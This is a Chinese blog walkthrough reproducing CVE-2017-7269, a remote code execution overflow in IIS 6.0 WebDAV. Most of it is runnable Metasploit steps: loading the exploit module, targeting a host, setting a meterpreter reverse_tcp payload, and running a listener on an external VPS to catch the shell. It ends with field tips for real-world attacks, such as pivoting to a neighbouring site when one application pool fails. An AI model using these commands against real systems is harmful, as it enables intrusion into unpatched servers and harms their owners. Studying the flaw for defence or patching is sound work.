当前位置首页 > IIS知识

IIS6远程代码执行漏洞复现CVE-2017-7269

阅读次数:423 次  来源:admin  发布时间:

简述

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

测试环境 受攻击系统:windows server 2003 攻击系统:Kali 2018.04 反弹主机:Ubuntu 18.04 LTS CVE-2017-7269漏洞原理

由恶意的 PROPFIND 请求所引起:当 If 字段包含了 http://localhost/xxxx 这段超长URL时,导致缓冲区溢出(包括栈溢出和堆溢出)

具体位置在w3wp.exe,httpext模块的ScStoragePathFromUrl函数处。

httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配; 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的; Metasploit5利用EXP Metasploit加载自定义模块 加载自定义模块方法

1、在home目录里的【$HOME/.msf4/modules/exploits/】里就是自定义的模块
2、复制自定义模块到这个目录里调用,使用msf的reload_all就可以重新加载模块路径

在线加载EXP

# 创建EXP的路径
mkdir -p $HOME/.msf4/modules/exploits/test
# 示例模块加载
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb


# 加载在线模块
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1140    0  1140    0     0   3607      0 --:--:-- --:--:-- --:--:--  7808

本地加载EXP

mkdir -p $HOME/.msf4/modules/exploits/test
cp cve-2017-7269.rb ~/.msf4/modules/exploits/test/test_module.rb

Metasploit利用命令- CVE-2017-7269

# 示例用法
reload_all                        # 加载自定义模块
use exploit/test/test_module.rb   # 使用刚才加载模块的路径
show optins                       # 显示当前配置的选项
set RHOST <远程攻击IP>            # 远程攻击IP
set HttpHost <网站域名>           # 远程网站
set PhysicalPathLength <长度>     # 设置网站物理路径长度
set payload windows/meterpreter/reverse_tcp # 设置payload
set LHOST <监听IP>                # 监听IP
exploit                           # 漏洞测试 

# 使用
reload_all
use exploit/test/test_module.rb
show options
set RHOST 192.168.221.147
set HttpHost 192.168.221.147
set PhysicalPathLength 8
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.221.133
exploit

Metasploit反弹SHELL

实战过程中会反弹到外网的VPS上,Ubuntu VPS上安装Metasploit。

# 下载和安装metasploit
Curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

# 示例说明
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit

# 使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 103.85.24.14
set LPORT 4444
exploit

IIS6远程代码执行漏洞复现CVE-2017-7269

把Metasploit的meterpreter当前shell后台运行用【background】命令。再调用起来用【sessions】就可以。

Windows server 2003实战问题 问题1:网站本地路径的长度需要填写正确,不然触发不了缓冲溢出漏洞。例如下图路径长度为8:

IIS6远程代码执行漏洞复现CVE-2017-7269

问题2:If头信息中的两个url是要求和站点绑定相匹配的, POC中if头里面的域名及端口与绑定不一致时会失败。 问题3:IIS绑定的域名需要写 问题4:同一个应用程序池下多个站点的情况,有时对某一个站点执行exp,会导致同应用程序池下面所有的网站全部返回500,出现这种情况可以找旁站因为每个池都是独立的w3wp进程,换一个可能在其他池的进行尝试。 参考文章

[1] msf模块说明

https://www.offensive-security.com/metasploit-unleashed/modules-and-locations/

[2] msf 使用说明

https://github.com/rapid7/metasploit-framework/wiki

[3] cve-2017-7269

https://github.com/zcgonvh/cve-2017-7269

[4] iis6.0远程代码执行漏洞复现(CVE-2017-7269)

https://blog.csdn.net/darkhq/article/details/79127820

[5] CVE-2017-7269 IIS6_WebDAV远程代码执行的正确打开方式

https://anquan.baidu.com/article/391

[6] https://www.ivoidwarranties.tech/posts/pentesting-tuts/metasploit/simple-attack/

[7] https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework

[8] CVE-2017-7269的几个技巧及BUG修正

https://www.secpulse.com/archives/57264.html

上一篇:ubuntuLAMP本地环境配置
下一篇:Apache使用.htaccess防盗链禁止用户下载